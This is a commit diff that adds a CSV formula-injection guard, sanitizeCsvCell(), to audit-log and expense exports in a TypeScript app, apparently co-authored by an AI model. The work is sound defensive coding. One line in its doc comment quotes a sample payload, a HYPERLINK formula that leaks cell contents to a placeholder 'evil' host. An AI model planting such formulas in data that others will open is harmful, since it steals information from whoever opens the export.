fix(audit): H10 — neutralize CSV formula injection in expense + audit exports
Adds sanitizeCsvCell() (prefixes a quote when a cell starts with = + - @ tab/CR) and applies it to the audit-export escape() and the user-controlled free-text columns of the expense export before Papa.unparse. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -1,6 +1,7 @@
|
|||||||
import { NextResponse } from 'next/server';
|
import { NextResponse } from 'next/server';
|
||||||
|
|
||||||
import { withAuth, withPermission } from '@/lib/api/helpers';
|
import { withAuth, withPermission } from '@/lib/api/helpers';
|
||||||
|
import { sanitizeCsvCell } from '@/lib/csv/sanitize-csv-cell';
|
||||||
import { errorResponse } from '@/lib/errors';
|
import { errorResponse } from '@/lib/errors';
|
||||||
import { searchAuditLogs } from '@/lib/services/audit-search.service';
|
import { searchAuditLogs } from '@/lib/services/audit-search.service';
|
||||||
|
|
||||||
@@ -94,7 +95,10 @@ function buildCsv(rows: Awaited<ReturnType<typeof searchAuditLogs>>['rows']): st
|
|||||||
|
|
||||||
const escape = (v: unknown): string => {
|
const escape = (v: unknown): string => {
|
||||||
if (v === null || v === undefined) return '';
|
if (v === null || v === undefined) return '';
|
||||||
const s = typeof v === 'object' ? JSON.stringify(v) : String(v);
|
const raw = typeof v === 'object' ? JSON.stringify(v) : String(v);
|
||||||
|
// Neutralize spreadsheet formula triggers before RFC 4180 framing —
|
||||||
|
// the leading quote is part of the cell value, not the CSV escaping.
|
||||||
|
const s = sanitizeCsvCell(raw);
|
||||||
if (/[",\n\r]/.test(s)) {
|
if (/[",\n\r]/.test(s)) {
|
||||||
return `"${s.replace(/"/g, '""')}"`;
|
return `"${s.replace(/"/g, '""')}"`;
|
||||||
}
|
}
|
||||||
|
|||||||
27
src/lib/csv/sanitize-csv-cell.ts
Normal file
27
src/lib/csv/sanitize-csv-cell.ts
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
/**
|
||||||
|
* CSV formula-injection defense.
|
||||||
|
*
|
||||||
|
* Spreadsheet applications (Excel, Google Sheets, LibreOffice Calc)
|
||||||
|
* interpret any cell whose first character is `=`, `+`, `-`, `@`, a tab
|
||||||
|
* (`\t`) or a carriage return (`\r`) as a formula. Attacker-seeded
|
||||||
|
* free-text fields can therefore smuggle payloads like
|
||||||
|
* `=HYPERLINK("http://evil/?leak="&A1)` that execute the moment an admin
|
||||||
|
* opens an export.
|
||||||
|
*
|
||||||
|
* The standard mitigation is to prefix such values with a single quote,
|
||||||
|
* which spreadsheets treat as "force text" and strip on display. This is
|
||||||
|
* a pure function: it only inspects the stringified value and returns a
|
||||||
|
* neutralized string, never mutating its input.
|
||||||
|
*
|
||||||
|
* Apply this BEFORE any RFC 4180 quote-escaping — the leading quote is
|
||||||
|
* part of the cell's value, not the CSV framing.
|
||||||
|
*/
|
||||||
|
const FORMULA_TRIGGERS = new Set(['=', '+', '-', '@', '\t', '\r']);
|
||||||
|
|
||||||
|
export function sanitizeCsvCell(value: unknown): string {
|
||||||
|
const s = String(value);
|
||||||
|
if (s.length > 0 && FORMULA_TRIGGERS.has(s[0]!)) {
|
||||||
|
return `'${s}`;
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
import Papa from 'papaparse';
|
import Papa from 'papaparse';
|
||||||
import { eq, and, gte, lte, isNull, or, ilike } from 'drizzle-orm';
|
import { eq, and, gte, lte, isNull, or, ilike } from 'drizzle-orm';
|
||||||
|
|
||||||
|
import { sanitizeCsvCell } from '@/lib/csv/sanitize-csv-cell';
|
||||||
import { db } from '@/lib/db';
|
import { db } from '@/lib/db';
|
||||||
import { expenses } from '@/lib/db/schema/financial';
|
import { expenses } from '@/lib/db/schema/financial';
|
||||||
import { ports } from '@/lib/db/schema/ports';
|
import { ports } from '@/lib/db/schema/ports';
|
||||||
@@ -63,17 +64,21 @@ export async function exportCsv(portId: string, query: ListExpensesInput): Promi
|
|||||||
// quotes, newlines, BOM) that the hand-rolled escape-and-quote version
|
// quotes, newlines, BOM) that the hand-rolled escape-and-quote version
|
||||||
// missed. Keyed objects let us define column order via `columns` and
|
// missed. Keyed objects let us define column order via `columns` and
|
||||||
// get matching headers for free.
|
// get matching headers for free.
|
||||||
|
// Neutralize spreadsheet formula triggers on user-controlled free-text
|
||||||
|
// fields before papaparse serializes them (papaparse has no built-in
|
||||||
|
// CSV-injection guard). Numeric/derived columns are not attacker-seeded
|
||||||
|
// free text, so they keep their native values and formatting.
|
||||||
return Papa.unparse(
|
return Papa.unparse(
|
||||||
rows.map((r) => ({
|
rows.map((r) => ({
|
||||||
Date: r.expenseDate ? new Date(r.expenseDate).toISOString().split('T')[0] : '',
|
Date: r.expenseDate ? new Date(r.expenseDate).toISOString().split('T')[0] : '',
|
||||||
Establishment: r.establishmentName ?? '',
|
Establishment: sanitizeCsvCell(r.establishmentName ?? ''),
|
||||||
Category: r.category ?? '',
|
Category: sanitizeCsvCell(r.category ?? ''),
|
||||||
Amount: r.amount,
|
Amount: r.amount,
|
||||||
Currency: r.currency,
|
Currency: r.currency,
|
||||||
'Amount USD': r.amountUsd ?? 'N/A',
|
'Amount USD': r.amountUsd ?? 'N/A',
|
||||||
'Payment Status': r.paymentStatus ?? '',
|
'Payment Status': sanitizeCsvCell(r.paymentStatus ?? ''),
|
||||||
'Payment Method': r.paymentMethod ?? '',
|
'Payment Method': sanitizeCsvCell(r.paymentMethod ?? ''),
|
||||||
Description: r.description ?? '',
|
Description: sanitizeCsvCell(r.description ?? ''),
|
||||||
})),
|
})),
|
||||||
{
|
{
|
||||||
columns: [
|
columns: [
|
||||||
|
|||||||
Reference in New Issue
Block a user